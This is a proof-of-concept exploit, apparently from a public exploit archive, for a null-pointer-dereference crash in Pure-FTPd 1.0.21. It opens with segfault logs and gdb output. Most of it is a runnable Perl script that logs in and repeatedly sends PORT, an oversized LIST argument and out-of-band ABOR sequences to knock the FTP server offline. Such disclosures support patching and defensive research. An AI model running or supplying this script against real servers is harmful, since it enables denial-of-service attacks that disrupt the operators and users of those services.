Pure-FTPd 1.0.21 Denial Of Service

`#Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04)  
#latest version (v1.0.36) is not affected !!  
#discovered by Kingcope  
#  
#root@ubuntu:~# grep seg /var/log/syslog  
#Aug 13 13:55:28 ubuntu kernel: [ 226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4  
#Aug 13 13:56:21 ubuntu kernel: [ 280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4  
#Program received signal SIGSEGV, Segmentation fault.  
#[Switching to process 5358]  
#doreply () at ftpd.c:698  
#698 nextentry = scannedentry->next;  
#(gdb) i r  
#eax 0x0 0  
#ecx 0xbf967540 -1080658624  
#edx 0x0 0  
#ebx 0x0 0  
#esp 0xbf967540 0xbf967540  
#ebp 0xbf967588 0xbf967588  
#esi 0x0 0  
#edi 0xbf96756c -1080658580  
#eip 0x804b090 0x804b090 <doreply+256>  
#eflags 0x10217 [ CF PF AF IF RF ]  
#cs 0x73 115  
#ss 0x7b 123  
#ds 0x7b 123  
#es 0x7b 123  
#fs 0x0 0  
#gs 0x33 51  
#(gdb) x/10i $eip  
#=> 0x804b090 <doreply+256>: mov (%eax),%ebx  
# 0x804b092 <doreply+258>: mov %eax,(%esp)  
# 0x804b095 <doreply+261>: call 0x8049928 <free@plt>  
# 0x804b09a <doreply+266>: test %ebx,%ebx  
# 0x804b09c <doreply+268>: mov %ebx,%eax  
# 0x804b09e <doreply+270>: jne 0x804b090 <doreply+256>  
# 0x804b0a0 <doreply+272>: movl $0x0,0x805d040  
# 0x804b0aa <doreply+282>: movl $0x0,0x805d03c  
# 0x804b0b4 <doreply+292>: add $0x3c,%esp  
# 0x804b0b7 <doreply+295>: pop %ebx  
#(gdb)  
  
use IO::Socket;  
  
$host = $ARGV[0];  
$username = $ARGV[1];  
$password = $ARGV[2];  
$locip = $ARGV[3];  
$locip =~ s/\./,/gi;  
  
if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {  
print "Usage: POC.pl <hostname> <username> <password> <localip>\n";  
exit;  
}  
  
if (fork()) {  
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => 21,  
Proto => 'tcp');  
while(<$sock>) {  
$p = $_;  
print $p;  
if ($p =~ /220\s/) {  
last;   
}  
  
}  
print $sock "USER $ARGV[1]\r\n";  
$p = <$sock>;  
print $p;  
print $sock "PASS $ARGV[2]\r\n";  
$p = <$sock>;  
print $p;  
for ($k=0;$k<100;$k++) {  
print $k."\n";  
print $sock "PORT $locip,146,15\r\n";  
$p = <$sock>;  
print $p;  
$a = "A" x 2560;  
print $sock "LIST $a\r\n";  
select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING  
send $sock, "!",MSG_OOB;  
print $sock "\377";  
print $sock "\364";  
print $sock "\377";  
print $sock "\362";  
print $sock "ABOR\r\n";  
$p = <$sock>;  
print $p;  
print $sock "PWD\r\n";  
$p = <$sock>;  
print $p;  
}  
} else {  
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);  
die "Could not create socket: $!\n" unless $servsock;  
while(my $new_sock = $servsock->accept()) {  
while(<$new_sock>) {  
print $_;  
}  
}  
}  
  
`